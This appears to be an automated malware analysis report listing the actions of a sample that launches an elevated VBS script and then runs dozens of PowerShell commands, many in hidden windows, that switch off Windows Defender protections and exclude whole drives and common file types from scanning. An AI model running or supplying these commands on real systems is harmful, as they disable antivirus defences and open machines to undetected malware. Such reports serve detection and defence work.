Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .cmd
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .sys
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .ink
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .wim
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .xz
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .bzip2
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .gz
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .7z
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .rar
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .zip
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .dll
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .vbe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .bat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath %WINDIR%
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath %ALLUSERSPROFILE%
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\Users
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .vbs
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .txt
Miscellaneous
Executes the following
- '<SYSTEM32>\wscript.exe' "<PATH_SAMPLE>.vbs" /elevate
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ScanScheduleDay 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -EnableNetworkProtection 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableCoreServiceTelemetry $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -EnableControlledFolderAccess 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableArchiveScanning $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScanningNetworkFiles $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -EnableFullScanOnBatteryPower $false
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HideExclusionsFromLocalUsers $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisablePrivacyMode $false
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -BruteForceProtectionMaxBlockTime 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableNetworkProtectionPerfTelemetry $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -AllowSwitchToAsyncInspection $false
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableTamperProtection $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ScanAvgCPULoadFactor 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRemovableDriveScanning $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -AllowNetworkProtectionOnWinServer $false
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .ink' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .gz' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .sys' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .vbs' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .cmd' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ModerateThreatDefaultAction 6' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .rar' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SevereThreatDefaultAction 6' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -LowThreatDefaultAction 6' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .zip' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .xz' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath %ALLUSERSPROFILE%' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .7z' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath %WINDIR%' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .exe' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .bat' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .vbe' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .bzip2' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -EnableControlledFolderAccess 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath C:\Users' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .wim' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIOAVProtection $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -HideExclusionsFromLocalUsers $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -BruteForceProtectionMaxBlockTime 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -AllowSwitchToAsyncInspection $false' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ScanAvgCPULoadFactor 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBlockAtFirstSeen $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRemovableDriveScanning $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableBehaviorMonitoring $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -AllowNetworkProtectionOnWinServer $false' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisablePrivacyMode $false' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableNetworkProtectionPerfTelemetry $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableArchiveScanning $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -ScanScheduleDay 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -EnableFullScanOnBatteryPower $false' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScanningNetworkFiles $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableScriptScanning $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .dll' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableCoreServiceTelemetry $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -EnableNetworkProtection 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -MAPSReporting 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableTamperProtection $true' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension .txt' (with hidden window)
